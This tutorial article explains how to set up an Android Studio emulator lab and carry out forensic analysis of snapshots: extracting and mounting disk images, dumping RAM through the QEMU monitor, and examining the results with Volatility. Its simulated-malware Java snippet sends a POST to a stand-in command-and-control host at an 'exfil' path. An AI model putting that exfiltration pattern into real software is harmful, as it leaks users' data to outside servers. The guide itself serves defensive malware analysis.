Introduction: The Digital Crime Scene in a Virtual World

Mobile devices are ubiquitous, making them prime targets for malicious actors. When analyzing Android malware or investigating incidents, traditional physical device forensics can be complex. Android Virtual Machines (VMs), particularly those powered by QEMU in Android Studio, offer a controlled, reproducible environment for forensic analysis. This article delves into the methodologies for conducting forensic examinations on Android emulator snapshots, providing an expert guide to uncovering malware traces and understanding their behavior.

Setting Up Your Android Forensics Lab

A robust forensic lab begins with the right setup. We’ll use Android Studio’s AVD Manager to create and manage our virtual devices.

1. Creating a Virtual Device and Installing the Target App

First, launch Android Studio and navigate to the AVD Manager. Create a new virtual device, opting for a Pixel series device with a recent Android API level (e.g., API 30+). Ensure the device uses a reasonable amount of storage (e.g., 8-16GB) to simulate a real-world scenario.

Once the AVD is created, launch it. Our objective is to simulate a malicious application’s activity. For demonstration, we’ll create a simple app that writes data to a file, makes a network request, and modifies system settings (conceptually). You can deploy a real malware sample if you have one securely contained.

# Example of a simple malicious activity simulation (conceptual) File logFile = new File(getFilesDir(), "malware_data.log"); try (FileWriter writer = new FileWriter(logFile)) { writer.append("Malicious activity timestamp: " + System.currentTimeMillis() + "n"); writer.append("Accessed sensitive data: user_id_123n"); } catch (IOException e) { e.printStackTrace(); } // Simulate a network call URL url = new URL("http://malicious-c2.example.com/exfil"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); // ... send some data ... // Simulate a setting change (requires permissions) Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS_MODE, Settings.System.SCREEN_BRIGHTNESS_MODE_MANUAL);

Install your target application (e.g., a sample APK) onto the running emulator via ADB:

adb install path/to/your/malware.apk

Interact with the application to ensure it performs its malicious actions, then close it.

2. Capturing the Forensic Snapshot

The power of VM forensics lies in snapshots. Before you power off the emulator, save its state. In Android Studio’s emulator controls, find the “Snapshots” tab. Click “Save State” or configure “Automatic save at shutdown” and “Boot from last saved state” for convenience. This snapshot captures the complete state of the VM, including memory, CPU registers, and disk state.

Extracting and Preparing the VM Artifacts

Once a snapshot is taken, the next step is to locate and extract the relevant disk images and, if possible, memory dumps.

1. Locating Emulator Files

Android Emulator files are typically stored in the AVD directory. The exact path varies by OS:

• Linux/macOS: ~/.android/avd/YOUR_AVD_NAME.avd/
• Windows: C:UsersYOUR_USERNAME.androidavdYOUR_AVD_NAME.avd

Inside this directory, you’ll find critical files:

• userdata-qemu.img: The primary user data partition image.
• snapshots/: Contains subdirectories for each snapshot, holding memory and other state files.

2. Extracting Disk Images

The primary target for disk analysis is userdata-qemu.img. This is an EXT4 filesystem image. You can copy this file to your forensic workstation for analysis.

cp ~/.android/avd/YOUR_AVD_NAME.avd/userdata-qemu.img /path/to/forensics_lab/

To access its contents, you’ll need to mount it. Ensure you have e2fsprogs or similar tools installed on your Linux forensic workstation.

sudo mount -o loop,rw /path/to/forensics_lab/userdata-qemu.img /mnt/android_data

If the image is sparse or requires specific offsets, tools like sleuthkit (mmls, fsstat, fls) can provide more granular access without direct mounting.

3. Attempting Memory Dumps from Snapshots (Advanced)

Directly dumping RAM from an Android Studio emulator snapshot file is not as straightforward as with tools like VirtualBox or VMware, which often provide explicit memory dump features. Android Studio emulator snapshots contain a memory state file (e.g., ram.img.lz4 within the snapshot directory). While these are compressed, they represent the VM’s RAM state.

For live emulators, you can leverage the QEMU monitor. Access the QEMU monitor by telnetting to the emulator’s console port (usually 5554 or 5556 if multiple emulators are running):

telnet localhost 5554

Once connected, you can issue commands. To dump the guest memory:

(qemu) dump-guest-memory /path/to/output_ram.bin

This command saves the entire RAM contents to a file, which can then be analyzed by memory forensics tools like Volatility Framework.

Forensic Analysis Techniques

With the disk image mounted and potentially a memory dump acquired, we can proceed with a detailed forensic examination.

1. Disk Image Analysis (userdata-qemu.img)

Navigate to the mounted directory (/mnt/android_data) to examine the Android filesystem structure. Key areas to investigate include:

• Application Data: /data/data/PACKAGE_NAME/ (where PACKAGE_NAME is your target app’s package name). Look for databases (SQLite), preferences (XML files), internal logs, and other files created by the app.
• Shared Storage: /data/media/0/ (emulated storage, accessible via /sdcard/). Malware often drops files here.
• Application Packages: /data/app/ contains installed APKs.
• Logs: /data/log/, /data/misc/logd/, or specific app-generated logs. Use grep to search for suspicious keywords or patterns.
• Permissions and Settings: /data/system/packages.xml or relevant SQLite databases can reveal granted permissions or modified settings.

Example commands for disk analysis:

# List files created by a specific package ls -l /mnt/android_data/data/data/com.example.malwareapp/files/ strings /mnt/android_data/data/data/com.example.malwareapp/files/malware_data.log grep -r "malicious-c2.example.com" /mnt/android_data/ find /mnt/android_data/ -name "*.db" -exec sqlitebrowser {} ; # Open SQLite databases

Pay close attention to file timestamps, ownership, and permissions, which can provide clues about activity timing and privilege escalation attempts.

2. Memory Analysis with Volatility Framework

If you successfully acquired a RAM dump (output_ram.bin), Volatility is an invaluable tool for analyzing the live state of the Android VM. You’ll need a Volatility profile for the specific Android kernel version you’re analyzing. Creating a custom profile is a topic in itself, but often pre-built profiles or generic Linux profiles can offer some insights.

Common Volatility plugins for Android/Linux analysis:

• linux_pslist: List running processes.
• linux_pstree: Show process tree.
• linux_netscan: Identify open sockets and network connections.
• linux_proc_maps: View memory maps of processes to identify injected code or loaded modules.
• linux_lsmod: List loaded kernel modules.
• linux_dmesg: Read the kernel message buffer.
• linux_strings / linux_memdump: Extract strings or dump process memory.

Example Volatility command (assuming a Linux profile):

vol.py -f output_ram.bin --profile=LinuxAndroid_4_14_x64 linux_pslist vol.py -f output_ram.bin --profile=LinuxAndroid_4_14_x64 linux_netscan

Look for suspicious processes, open network connections to known C2 servers, loaded libraries, and strings in memory that might reveal encryption keys, API endpoints, or command-and-control logic.

3. Network Traffic Analysis

While not directly from the snapshot, if you captured network traffic during the malicious app’s execution (e.g., using Wireshark or tcpdump on the host machine), correlate this with your forensic findings. Look for DNS requests to suspicious domains, non-standard ports, or encrypted traffic patterns that deviate from normal Android behavior.

Conclusion: Unmasking Malware in the Virtual Realm

Android VM forensics provides a powerful and controlled environment for reverse engineering malware and investigating security incidents without risking physical hardware. By mastering the extraction of disk images, leveraging tools like e2fsprogs and Volatility, and systematically analyzing file systems and memory, investigators can reconstruct malicious activities, identify persistence mechanisms, and understand threat actor capabilities. This lab setup serves as a foundational skill for any mobile security researcher or digital forensics professional.